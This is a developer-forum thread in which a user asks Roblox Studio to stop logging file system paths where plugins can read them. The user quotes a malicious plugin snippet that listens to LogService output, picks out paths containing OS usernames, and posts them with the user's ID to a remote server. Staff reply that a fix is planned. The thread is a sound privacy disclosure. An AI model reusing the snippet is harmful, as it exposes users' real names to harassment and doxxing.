Don't expose file system path as a MessageInfo type output when performing certain actions

Currently studio will output messages when a user performs certain actions, such as saving a local plugin or downloading a place file. This outputs the file system path (example: Successfully downloaded a copy to 'C:\Users\user\Downloads\test.rbxl'), which is fine, however it’s a MessageInfo type log which can be scraped with LogService.

Because their os user may often be their first/name name, this allows bad actors to correlate userIds with names using a malicious plugin.

The impact here isn’t large, however the output is unnecessary. It should be outputted in a protective state which can’t be logged with LogService. This already occurs with a lot of studio-action output (image).

I’m making this feature request because someone I know was targeted by a malicious actor. The said actor was trying to threaten them using their full name, however it was strange because they had their name mixed up (from John Doe format to Doe J). This is their OS username (DoeJ format). The person I know was adamant they didn’t share this information. Because I knew this behaviour existed, I had a look at their installed plugins and found that there was one scraping the output, correlating it with their userId and sending it off to a server.

Plugin:

local HttpService = game:GetService("HttpService")
local LogService = game:GetService("LogService")
local Plugin = PluginManager():CreatePlugin()
local userId = Plugin:GetStudioUserId()

LogService.MessageOut:Connect(function(msg)
	if string.find(msg, "Users") then -- "Successfully downloaded a copy to 'C:\Users\user\Downloads\test.rbxl"
		HttpService:PostAsync(......) -- userId, msg
	end
end)

To my (possibly outdated) understanding, the following types of output can be read by LogService:

(MESSAGE_OUTPUT,         "MessageOutput");
(MESSAGE_INFO,           "MessageInfo");
(MESSAGE_WARNING,        "MessageWarning");
(MESSAGE_ERROR,          "MessageError");

Therefore as I mentioned above, my proposed solution is to not output this information in a state which can be scraped using Lua methods (one of the above enum types).

33 Likes

Hey, we have identified a solution and will be shipping it this year.

Thanks!

7 Likes

Nice to hear.

Just a heads up, when plugins are corrupted and fail to load the path to them is outputted as an error which is also in a readable state.

In this case the plugin rbxm was completely blank. When I loaded into studio the error was outputted containing a full path to the plugin.

image

It’s a little bit different than performing actions in studio causing it, however I assume it’s the same underlying behaviour.

Cheers!

1 Like

Appreciate the follow-up. Due to the holidays, this likely won’t make it in this year, but we believe our solution is generalized enough that it should cover this.

2 Likes

It should also be worth noting that the path is visible when downloading a copy from Team Create.

17:02:57.465 - Successfully downloaded a copy to '<full_path_removed>